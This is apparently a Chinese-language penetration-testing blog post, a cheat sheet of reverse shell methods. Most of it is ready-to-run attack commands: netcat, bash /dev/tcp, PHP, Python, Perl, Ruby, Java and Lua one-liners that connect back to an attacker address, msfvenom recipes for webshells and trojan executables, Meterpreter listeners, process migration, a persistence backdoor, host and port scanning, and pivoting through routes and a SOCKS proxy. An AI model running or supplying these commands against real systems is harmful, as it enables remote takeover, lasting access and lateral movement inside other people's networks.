反弹shell各种方法

本文最后更新于:2023年7月18日 下午

反弹shell各种方法

反弹shell

参考链接

在线生成

接收端:

1
nc -lvnp port

MSF接受(仅参考,不建议)

1
2
3
4
5
>>> use exploit/multi/handler
>>> set payloads linux/x64/meterpreter_reverse_tcp
>>> set LHOST 192.168.56.105 #监听主机ip地址
>>> set LPORT 9999 #监听主机端口号
>>> exploit -j

image-20220110230250597

连接成功后输入命令查看seesion列表,

1
>>> sessions -l

image-20220110230746809

1
2
# 与session 1交互
sessions -i 1

image-20220110231139165

NC反弹shell

反向shell:

1
2
nc 1.1.1.1 9999 -e /bin/bash	// Linux正向连接公网vps1.1.1.19999端口
nc 1.1.1.1 9999 -e c:\windows\system32\cmd.exe // Windows

当目标靶机nc中不存在-e参数时两种串联攻击方法:基本原理就是将输入和输出保存并通过nc传递给攻击机。

1
2
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56. >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

正向shell:

1
2
nc -lvvp 9999 -e /bin/bash   
nc Rhost 9999 //hacker

bash反弹shell

1
bash -I &> /dev/tcp/192.168.32.1/6666 0>&1
1
/bin/bash -c 'bash -I &> /dev/tcp/192.168.32.1/6666 0>&1'
1
bash -c 'exec bash -i &>/dev/tcp/192.168.56.5/9999 <&1'

Php

1
php -r '$sock=fsockopen("192.168.32.1",6666);exec("/bin/sh -i <&3 >&3 2>&3");'

反弹sell

Python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.17.0.205",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl

1
perl -e 'use Socket; $i="192.168.32.1";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby

1
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java

1
2
3
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Lua

1
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

升级为交互式shell

由于反弹shell有一些问题

1
2
3
4
5
无法使用vim等文本编辑器
不能补全
不能su
没有向上箭头使用历史
等等

因此需要将其升级为正常交互式shell

如何将简单的Shell转换成为完全交互式的TTY

反弹Shell升级为交互式Shell

Upgrade to an intelligent reverse shell

Python

半交互式shell

1
python3 -c "import pty;pty.spawn('/bin/bash')"

完全交互式shell,未成功,再议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python -c 'import pty; pty.spawn("/bin/bash")'  //启用python交互式
# 把它丢到后台挂起
$ ctrl + z
# 重置stty,也就意味着你看不到输入的内容
$ stty raw -echo
# 把后台挂起的程序调回前台
$ fg
# 完全刷新终端屏幕
$ reset
# 接下来设置环境变量,根据第一步得到的环境变量来设置
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows 行数 columns 列数

以下代码可用,已测

1
2
3
4
5
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+z快捷键
stty raw -echo;fg
reset

此时已经拥有了一个完全交互式Shell,就可以使用上下左右,vi,tab补全等等一系列操作,并且按Ctrl-c也不会退出。

相关命令解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
stty -echo #禁止回显,当在键盘上输入时,并不出现在屏幕上
stty echo #打开回显
stty raw #设置原始输入
stty -raw #关闭原始输入

bg
将一个在后台暂停的命令,变成继续执行

fg
将后台中的命令调至前台继续运行

jobs
查看当前有多少在后台运行的命令

ctrl + z
可以将一个正在前台执行的命令放到后台,并且暂停

clear
这个命令将会刷新屏幕,本质上只是让终端显示页向后翻了一页,如果向上滚动屏幕还可以看到之前的操作信息。

reset
这个命令将完全刷新终端屏幕,之前的终端输入操作信息将都会被清空

Script升级

1
2
/usr/bin/script -qc /bin/bash /dev/null 命令进入shell模式
#  script 是一个神奇命令,script 能够将终端的会话过程录制下来,然后使用 scriptreplay 就可以将其录制的结果播放给他人观看。script 的好处就在于你在终端中的所有操作、敲过的命令和打印出的结果它都可以原原本本地进行录制。-q选项可以让scirpt命令以静默模式运行,登录进来的用户不会知道script命令已经运行了。

msf生成shell

使用msfvenom生成wbshell

生成webshell脚本

1
2
3
4
5
6
7
8
9
# PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >> shell.php
# ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp
# JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
# WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war

生成脚本shell

1
2
3
4
5
6
7
8
9
# Python
msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py
# Bash
msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh
# Perl
msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl
# Powershell
msfvenom -p windows/x64/meterpreter_reverse_http LHOST= LPORT= -f psh > shell.ps1
powershell.exe -ExecutionPolicy Bypass -File shell.ps1

生成二进制文件

1
2
3
4
5
6
# Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.105 LPORT=6666 -f exe>shell.exe
# Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.105 LPORT=6666 -f elf>shell.elf
# Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.56.105 LPORT=6666 -f macho>shell.macho

msf正向连接

生成msf正向马

1
msfvenom -p windows/x64/meterpreter/bind_tcp  LPORT=6666 -f exe >6666.exe

监听设置 use exploit/multi/handler

1
2
3
4
5
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 6666
set rhost 10.0.20.99
options

image-20220315092838820

msf反向连接

生成msf反向木马

LHOST设置为windowss7的内网ip地址:LHOST 10.0.20.98

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.20.98 LPORT=5555 -f exe -o 5555.exe

监听设置 use exploit/multi/handler

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.20.98
set LPORT 5555
options

生成nc反弹shell命令

1
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.56.105 lport=6666 R

image-20220719165322147

监听端口建立会话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# msf使用侦听模块
msf> use exploit/multi/handler
# 这里的payload与生成shell所用payload要一致,这里以linux为例
msf> set payload linux/x86/meterpreter/reverse_tcp
msf> set LHOST 192.168.56.105
msf> set LPORT 6666
# exitonsession false可以让建立监听的端口继续保持侦听。可以接受多个session
msf> set ExitOnSession false
# -j为后台任务,-z为持续监听
msf> exploit -j -z
# 显示所有已连接shell
msf> sessions
# 进入id为1的shell
msf> sessions 1

image-20220124101346878

image-20220124102012452

横向移动

进程迁移

获得shell时,该shell是极其脆弱,所以需要移动这个shell把它和目标机中一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作,这样使渗透更难被检测到。自动迁移进程命令(run post/windows/manage/migrate)或手动迁移(migrate PID),系统会自动寻找合适的进程然后迁移

1
run post/windows/manage/migrate

image-20220320204550384

可以看到权限迁移至notepad.exe

权限维持

使用netaspoit自带的后门进行权限维持,-X以指定的方式开机自启动,-i反向链接的时间间隔,-r攻击者的IP

1
run persistence -X -i 0 -p 7777 -r 192.168.56.105

msf监听

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.105
set lport 7777
run

扫描存活主机

1
2
3
4
use post/windows/gather/arp_scanner
set session 1
set rhost 10.0.20.1-254
run

image-20220321142816445

扫描目标端口

1
2
3
4
5
use auxiliary/scanner/portscan/tcp
set ports 22-500,8000-10000
set rhosts 10.0.20.99
threads 50
run

msf实现内网渗透

路由转发

进入meterpreter会话

1
2
3
4
# 查看网段
meterpreter> get_local_subnets
# 查看路由信息
meterpreter> route

background退出当前会话,通过会话1,转发172.17.0.0这个路由

1
2
3
4
# 添加路由至本地
msf> route add 172.17.0.0 255.255.0.0 1
# 打印当前路由信息
msf> route print

image-20220124113643605

到这里 pivot 已经配置好了,在 msf 里对 172.17.0.1 进行扫描(db_nmap)或者访问(psexe 模块,ssh 模块等)将自动代理 session 2 这个会话来访。

使用msf自动添加路由

1
2
msf6 > use post/multi/manage/autoroute
meterpreter > run post/multi/manage/autoroute

网路代理

做好上面的路由转发后,这个时候如果想通过其他应用程序来使用这个代理怎么办呢?

这里可以借助 metasploit socks提供一个监听隧道供其他应用程序访问:

1
2
msf> use auxiliary/server/socks_proxy 
msf> exploit

默认是开放在本机1080端口上,也可以自己修改

1
2
3
4
# 修改版本、地址、端口
msf > set version 4a
msf > set srvhost 192.168.56.105
msf > set srvport 1080

image-20220124114103606


反弹shell各种方法
https://genioco.github.io/2022/09/10/Skill/反弹shell大全/
作者
BadWolf
发布于
2022年9月10日
许可协议